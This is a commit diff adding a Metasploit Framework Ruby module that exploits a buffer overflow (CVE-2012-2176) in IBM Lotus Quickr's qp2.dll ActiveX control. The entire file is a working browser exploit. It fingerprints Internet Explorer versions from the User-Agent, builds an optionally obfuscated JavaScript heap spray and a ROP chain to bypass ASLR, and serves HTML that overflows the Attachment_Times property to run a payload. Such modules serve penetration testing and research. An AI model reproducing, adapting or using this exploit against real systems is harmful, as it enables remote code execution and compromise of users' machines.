1
+ ##
2
+ # This file is part of the Metasploit Framework and may be subject to
3
+ # redistribution and commercial restrictions. Please see the Metasploit
4
+ # Framework web site for more information on licensing and terms of use.
5
+ # http://metasploit.com/framework/
6
+ ##
7
+
8
+ require 'msf/core'
9
+
10
+ class Metasploit3 < Msf ::Exploit ::Remote
11
+ Rank = NormalRanking
12
+
13
+ include Msf ::Exploit ::Remote ::HttpServer ::HTML
14
+ include Msf ::Exploit ::RopDb
15
+ include Msf ::Exploit ::Remote ::BrowserAutopwn
16
+
17
+ autopwn_info ( {
18
+ :ua_name => HttpClients ::IE ,
19
+ :ua_minver => "6.0" ,
20
+ :ua_maxver => "9.0" ,
21
+ :javascript => true ,
22
+ :os_name => OperatingSystems ::WINDOWS ,
23
+ :rank => Rank ,
24
+ :classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}" ,
25
+ :method => "Attachment_Times"
26
+ } )
27
+
28
+
29
+ def initialize ( info = { } )
30
+ super ( update_info ( info ,
31
+ 'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow" ,
32
+ 'Description' => %q{
33
+ This module exploits a buffer overflow vulnerability on the UploadControl
34
+ ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
35
+ property, due to the insecure usage of the _swscanf. The affected ActiveX is
36
+ provided by the qp2.dll installed with the IBM Lotus Quickr product.
37
+
38
+ This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
39
+ using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module
40
+ msvcr71.dll is used. This one is installed with the qp2 ActiveX.
41
+ } ,
42
+ 'License' => MSF_LICENSE ,
43
+ 'Author' =>
44
+ [
45
+ 'Gaurav Baruah' , # Vulnerability discovery
46
+ 'juan vazquez' # Metasploit module
47
+ ] ,
48
+ 'References' =>
49
+ [
50
+ [ 'CVE' , '2012-2176' ] ,
51
+ [ 'OSVDB' , '82166' ] ,
52
+ [ 'BID' , '53678' ] ,
53
+ [ 'URL' , 'http://www.zerodayinitiative.com/advisories/ZDI-12-134/' ] ,
54
+ [ 'URL' , 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]
55
+ ] ,
56
+ 'Payload' =>
57
+ {
58
+ 'Space' => 978 ,
59
+ 'DisableNops' => true ,
60
+ 'PrependEncoder' => "\x81 \xc4 \x54 \xf2 \xff \xff " # Stack adjustment # add esp, -3500
61
+ } ,
62
+ 'DefaultOptions' =>
63
+ {
64
+ 'InitialAutoRunScript' => 'migrate -f'
65
+ } ,
66
+ 'Platform' => 'win' ,
67
+ 'Targets' =>
68
+ [
69
+ # qp2.dll 8.1.0.1800
70
+ [ 'Automatic' , { } ] ,
71
+ [ 'IE 6 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' , 'Ret' => 0x0c0c0c0c } ] ,
72
+ [ 'IE 7 on Windows XP SP3' , { 'Rop' => nil , 'Offset' => '0x5F4' , 'Ret' => 0x0c0c0c0c } ] ,
73
+ [ 'IE 8 on Windows XP SP3' , { 'Rop' => :jre , 'Offset' => '0x5f4' , 'Ret' => 0x7C346B52 } ] , # pop esp # ret # msvcr71.dll
74
+ [ 'IE 7 on Windows Vista' , { 'Rop' => nil , 'Offset' => '0x5f4' , 'Ret' => 0x0c0c0c0c } ] ,
75
+ [ 'IE 8 on Windows Vista' , { 'Rop' => :jre , 'Offset' => '0x5f4' , 'Ret' => 0x7C346B52 } ] , # pop esp # ret # msvcr71.dll
76
+ [ 'IE 8 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5f4' , 'Ret' => 0x7C346B52 } ] , # pop esp # ret # msvcr71.dll
77
+ [ 'IE 9 on Windows 7' , { 'Rop' => :jre , 'Offset' => '0x5fe' , 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll
78
+ ] ,
79
+ 'Privileged' => false ,
80
+ 'DisclosureDate' => "May 23 2012" ,
81
+ 'DefaultTarget' => 0 ) )
82
+
83
+ register_options (
84
+ [
85
+ OptBool . new ( 'OBFUSCATE' , [ false , 'Enable JavaScript obfuscation' , false ] )
86
+ ] , self . class )
87
+
88
+ end
89
+
90
+ def get_target ( agent )
91
+ #If the user is already specified by the user, we'll just use that
92
+ return target if target . name != 'Automatic'
93
+
94
+ nt = agent . scan ( /Windows NT (\d \. \d )/ ) . flatten [ 0 ] || ''
95
+ ie = agent . scan ( /MSIE (\d )/ ) . flatten [ 0 ] || ''
96
+
97
+ ie_name = "IE #{ ie } "
98
+
99
+ case nt
100
+ when '5.1'
101
+ os_name = 'Windows XP SP3'
102
+ when '6.0'
103
+ os_name = 'Windows Vista'
104
+ when '6.1'
105
+ os_name = 'Windows 7'
106
+ end
107
+
108
+ targets . each do |t |
109
+ if ( !ie . empty? and t . name . include? ( ie_name ) ) and ( !nt . empty? and t . name . include? ( os_name ) )
110
+ print_status ( "Target selected as: #{ t . name } " )
111
+ return t
112
+ end
113
+ end
114
+
115
+ return nil
116
+ end
117
+
118
+ def ie_heap_spray ( my_target , p )
119
+ js_code = Rex ::Text . to_unescape ( p , Rex ::Arch . endian ( target . arch ) )
120
+ js_nops = Rex ::Text . to_unescape ( "\x0c " *4 , Rex ::Arch . endian ( target . arch ) )
121
+ js_random_nops = Rex ::Text . to_unescape ( make_nops ( 4 ) , Rex ::Arch . endian ( my_target . arch ) )
122
+
123
+ # Land the payload at 0x0c0c0c0c
124
+ case my_target
125
+ when targets [ 7 ]
126
+ # IE 9 on Windows 7
127
+ js = %Q|
128
+ function randomblock(blocksize)
129
+ {
130
+ var theblock = "";
131
+ for (var i = 0; i < blocksize; i++)
132
+ {
133
+ theblock += Math.floor(Math.random()*90)+10;
134
+ }
135
+ return theblock;
136
+ }
137
+
138
+ function tounescape(block)
139
+ {
140
+ var blocklen = block.length;
141
+ var unescapestr = "";
142
+ for (var i = 0; i < blocklen-1; i=i+4)
143
+ {
144
+ unescapestr += "%u" + block.substring(i,i+4);
145
+ }
146
+ return unescapestr;
147
+ }
148
+
149
+ var heap_obj = new heapLib.ie(0x10000);
150
+ var code = unescape("#{ js_code } ");
151
+ var nops = unescape("#{ js_random_nops } ");
152
+ while (nops.length < 0x80000) nops += nops;
153
+ var offset_length = #{ my_target [ 'Offset' ] } ;
154
+ for (var i=0; i < 0x1000; i++) {
155
+ var padding = unescape(tounescape(randomblock(0x1000)));
156
+ while (padding.length < 0x1000) padding+= padding;
157
+ var junk_offset = padding.substring(0, offset_length);
158
+ var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
159
+ while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
160
+ sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
161
+ heap_obj.alloc(sprayblock);
162
+ }
163
+ |
164
+
165
+ else
166
+ # For IE 6, 7, 8
167
+ js = %Q|
168
+ var heap_obj = new heapLib.ie(0x20000);
169
+ var code = unescape("#{ js_code } ");
170
+ var nops = unescape("#{ js_nops } ");
171
+ while (nops.length < 0x80000) nops += nops;
172
+ var offset = nops.substring(0, #{ my_target [ 'Offset' ] } );
173
+ var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
174
+ while (shellcode.length < 0x40000) shellcode += shellcode;
175
+ var block = shellcode.substring(0, (0x80000-6)/2);
176
+ heap_obj.gc();
177
+ for (var i=1; i < 0x300; i++) {
178
+ heap_obj.alloc(block);
179
+ }
180
+ var overflow = nops.substring(0, 10);
181
+ |
182
+
183
+ end
184
+
185
+ js = heaplib ( js , { :noobfu => true } )
186
+
187
+ if datastore [ 'OBFUSCATE' ]
188
+ js = ::Rex ::Exploitation ::JSObfu . new ( js )
189
+ js . obfuscate
190
+ end
191
+
192
+ return js
193
+ end
194
+
195
+ def get_payload ( t , cli )
196
+ code = payload . encoded
197
+
198
+ # No rop. Just return the payload.
199
+ return code if t [ 'Rop' ] . nil?
200
+
201
+ # Both ROP chains generated by mona.py - See corelan.be
202
+ case t [ 'Rop' ]
203
+ when :jre
204
+ print_status ( "Using JRE ROP" )
205
+ rop_payload = generate_rop_payload ( 'java' , code ) #, {'pivot'=>stack_pivot})
206
+ end
207
+
208
+ return rop_payload
209
+ end
210
+
211
+ def load_exploit_html ( my_target , cli )
212
+ p = get_payload ( my_target , cli )
213
+ js = ie_heap_spray ( my_target , p )
214
+
215
+ bof = rand_text_alpha ( 512 ) # offset to eip"
216
+ bof << [ my_target . ret ] . pack ( "V" )
217
+ if my_target [ 'Rop' ]
218
+ bof << rand_text_alpha ( 4 )
219
+ bof << [ 0x0c0c0c0c ] . pack ( "V" ) # new stack
220
+ end
221
+
222
+ my_bof = Rex ::Text . to_unescape ( bof )
223
+
224
+ html = %Q|
225
+ <html>
226
+ <head>
227
+ <script>
228
+ #{ js }
229
+ </script>
230
+ </head>
231
+ <body>
232
+ <object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0">
233
+ <param name="General_Mode" value="1">
234
+ <param name="General_URL" value="http://localhost/iNotes/Forms85.nsf/0/">
235
+ </object>
236
+ <script>
237
+ var bof = unescape("#{ my_bof } ");
238
+ var my_time = "7/20/2011 11:01:42 ";
239
+ my_time += bof;
240
+ my_time += " GMT";
241
+ UploadControl.Attachment_Times = my_time;
242
+ </script>
243
+ </body>
244
+ </html>
245
+ |
246
+
247
+ return html
248
+ end
249
+
250
+ def on_request_uri ( cli , request )
251
+ agent = request . headers [ 'User-Agent' ]
252
+ uri = request . uri
253
+ print_status ( "Requesting: #{ uri } " )
254
+
255
+ my_target = get_target ( agent )
256
+ # Avoid the attack if no suitable target found
257
+ if my_target . nil?
258
+ print_error ( "Browser not supported, sending 404: #{ agent } " )
259
+ send_not_found ( cli )
260
+ return
261
+ end
262
+
263
+ html = load_exploit_html ( my_target , cli )
264
+ html = html . gsub ( /^\t \t / , '' )
265
+ print_status ( "Sending HTML..." )
266
+ send_response ( cli , html , { 'Content-Type' => 'text/html' } )
267
+ end
268
+
269
+ end
0 commit comments